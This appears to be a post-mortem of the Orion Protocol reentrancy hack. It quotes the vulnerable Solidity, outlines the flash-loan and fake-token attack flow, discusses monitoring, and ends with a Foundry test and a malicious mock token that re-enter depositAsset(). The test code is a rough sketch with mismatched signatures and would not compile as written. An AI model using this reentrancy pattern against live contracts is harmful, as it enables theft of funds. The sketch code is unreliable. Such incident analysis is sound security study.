Orian Hack Analysis

1. How did the hack happen?

a. What was the vulnerability?

The attacker deployed a fake token (ATK) with self-destruct capability that led to the transfer() function. Then, he exploited a reentrancy vulnerability in the Orion Protocol's core contract, ExchangeWithOrionPool.

The issue in the doSwapThroughOrionPool function in PoolFunctionality.sol is the insufficient validation of the path addresses provided in the swapData parameter. The function allowed the attacker to provide a path that includes an arbitrary contract address. This can potentially execute unintended actions.

https://etherscan.io/address/0x420a50a62b17c18b36c64478784536ba980feac8#code

```
88          uint256 tokenIndex = withFactory ? 1 : 0;
89          new_path = new address[](swapData.path.length - tokenIndex);
90
91          for ((uint256 i, uint256 j) = (tokenIndex, 0); i < swapData.path.length; (++i, ++j)) {
92              new_path[j] = swapData.path[i] == address(0) ? WETH : swapData.path[i];
93          }
```

doSwapThroughOrionPool function in PoolFunctionality.sol

Due to the lack of reentrancy protection in the depositAsset() function of Orion protocol, the attacker is able to re-enter the depositAsset() function in Exchange.sol through the ATK token's transfer() function during the token swap. As a result, the smart contract records the attacker's deposit amount as the full flash loan amount of 191,606 USDT. This inflated the balance of tokens in the contract.

https://etherscan.io/address/0x98a877bb507f19eb43130b688f522a13885cf604#code

```
117     function depositAsset(address assetAddress, uint112 amount) external {
118         uint256 actualAmount = IERC20(assetAddress).balanceOf(address(this));
119         IERC20(assetAddress).safeTransferFrom(
120             msg.sender,
121             address(this),
122             uint256(amount)
123         );
124         actualAmount = IERC20(assetAddress).balanceOf(address(this)) - actualAmount;
125         generalDeposit(assetAddress, uint112(actualAmount));
126     }
```

depositAsset function in Exchange.sol

b. How did the vulnerability affect the monitoring?

- The attacker deploys a fake ERC-20 token ATK whose transfer() includes a callback to depositAsset().
- They initiate a flash loan of USDC/USDT.

- In doSwapThroughOrionPool([USDC → ATK → USDT]), when transfer(ATK) is called, the callback re-enters depositAsset() before balances are updated.
- This reentrancy artificially increases their deposit record (e.g. full flash-loan amount gets counted twice)
- The inflated balance leads to an inflated swap output, netting them ~$2.8 M on Ethereum and ~$0.2 M on BSC, which they then withdraw and launder via Tornado Cash.

2. Could this hack have been prevented with monitoring?

a. If yes, then in what ways could it have been alerted before the hack happened?

Yes. Effective monitoring could have detected:

- Rapid or repeated transactions from the same address interacting with sensitive contract methods.
- Abnormal state changes in contract variables related to collateral or liquidity.
- Unusually large withdrawals or transfers exceeding normal usage.
- Unexpected jumps in token balances on the contract or in connected addresses.

By setting alerts on these heuristics, the team could have paused contract operations or investigated before the exploit completed.

b. If no, why would monitoring not have stopped the hack?

If the attack was instantaneous and executed within one or few transactions at the speed of a single block, real-time monitoring might have not stopped the first exploitation but could alert faster for mitigation.

3. Write a test case in Foundry to redo the hack again.

```
1. contract OrionHackTest is Test {
2.     OrionBroker broker;
3.     IERC20 usdc;
4.     IERC20 usdt;
5.     MockATK atk;
6.     address attacker = address(1);
7.
8.     function setUp() public {
9.
10.        broker = new OrionBroker(/* … */);
11.        usdc = new MockERC20("USDC","USDC",6);
12.        usdt = new MockERC20("USDT","USDT",6);
13.        atk = new MockATK("ATK","ATK",18, address(broker));
14.
15.        usdc.mint(attacker, 500e6);
16.        vm.startPrank(attacker);
```

```
        usdc.approve(address(broker), type(uint256).max);
        atk.approve(address(broker), type(uint256).max);
        vm.stopPrank();
    }

    function testExploit() public {
        vm.startPrank(attacker);
        // Simulate flashloan: attacker borrows 500 USDC (6 decimals)
        usdc.transfer(address(this), 500e6);
        // perform swap triggering ATK callback
        broker.doSwapThroughOrionPool(usdc, atk, usdt, 500e6);
        // attacker then withdraws inflated balance
        uint256 received = broker.withdraw(usdt);
        assertGt(received, 500e6); // attacker profited
        vm.stopPrank();
    }
}


interface IOrionBroker {
    function depositAsset(address asset, uint256 amount) external;
}

contract MockATK is ERC20 {
    address public broker;
    bool public isReentrant;

    constructor(
        string memory name,
        string memory symbol,
        uint256 initialSupply,
        address _broker
    ) ERC20(name, symbol) {
        broker = _broker;
        _mint(msg.sender, initialSupply);
        isReentrant = true;
    }

    function transfer(address recipient, uint256 amount) public override
returns (bool) {
        bool success = super.transfer(recipient, amount);

        // Simulate reentrancy back into broker.depositAsset()
        if (isReentrant && broker != address(0)) {
            isReentrant = false; // Prevent infinite recursion
```

```
            IOrionBroker(broker).depositAsset(address(this), 1e18);
            // Reentrant call
        }

        return success;
    }
}

```